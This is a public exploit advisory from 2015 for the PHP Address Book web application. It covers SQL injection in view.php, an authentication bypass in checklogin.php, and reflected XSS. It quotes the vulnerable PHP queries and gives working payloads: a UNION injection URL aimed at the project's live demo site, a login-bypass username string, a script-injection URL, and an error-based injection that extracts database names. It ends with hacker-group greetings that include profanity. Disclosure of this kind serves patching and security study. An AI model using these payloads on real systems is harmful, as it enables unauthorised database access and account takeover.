##################################################################################################
#Exploit Title : PHP Address Book SQL Injection and xss vulnerability
#Author        : Manish Kishan Tanwar
#Home page Link : http://sourceforge.net/projects/php-addressbook/
#Date          : 01/01/2015
#Discovered at : IndiShell Lab
#Love to      : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti,Kishan Singh and ritu rathi
#email        : manish.1046@gmail.com
##################################################################################################

////////////////////////
/// Overview:
////////////////////////


php address book is web-based address & phone book, contact manager, organizer. Groups, addresses, e-Mails, phone numbers & birthdays. vCards, LDIF, Excel, iPhone, Gmail & Google-Maps supported. PHP / MySQL based.
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
1. SQL injection 
2. Authentication bypass
3. XSS

1.SQL injection vulnerability:-
============================== 
after login(using normal user account) attacker can exploit this issue.
parameter id is not escaping before passing to SQL query on view.php
vulnerable code is 
-------------------
if ($id) {

   $sql = "SELECT * FROM $base_from_where AND $table.id='$id'";
   $result = mysql_query($sql, $db);
   $r = mysql_fetch_array($result);

   $resultsnumber = mysql_numrows($result);
}
--------------------
POC
http://php-addressbook.sourceforge.net/demo/view.php?id=1337' union select 1,2,3,4,version(),6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--+

image link:-
http://oi62.tinypic.com/2lncw3a.jpg

2.Authntication Bypass:-
=======================
checklogin.php page is passing user supplied data in username field to sql query without escaping and it is causing authentication
bypassing using payload 
username = ' or 1336%2B1=1337--%20
password = any
--------------------------------------------------------
$urlun = strip_tags(substr($_REQUEST['username'],0,32));

$urlpw = strip_tags(substr($_REQUEST['password'],0,32));
$cleanpw = md5($urlpw);

$sql="SELECT * FROM users WHERE username='$urlun' and password='$cleanpw'";
--------------------------------------------------------

3.XSS:-
======
http://php-addressbook.sourceforge.net/demo/
?group=customer</option></select><script>alert(String.fromCharCode(120,115,115,32,116,101,115,116));</script>

image link:-
http://oi59.tinypic.com/dhbyh4.jpg


////////////////
///  POC   ////
///////////////

POC image=http://oi57.tinypic.com/inv3ol.jpg
 payload for extracting database name 
 set value of category parameter to 1 and add error based SQL injection payload to url
 
http://127.0.0.1/pr/browse.php?category=1 and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)


                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Das
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3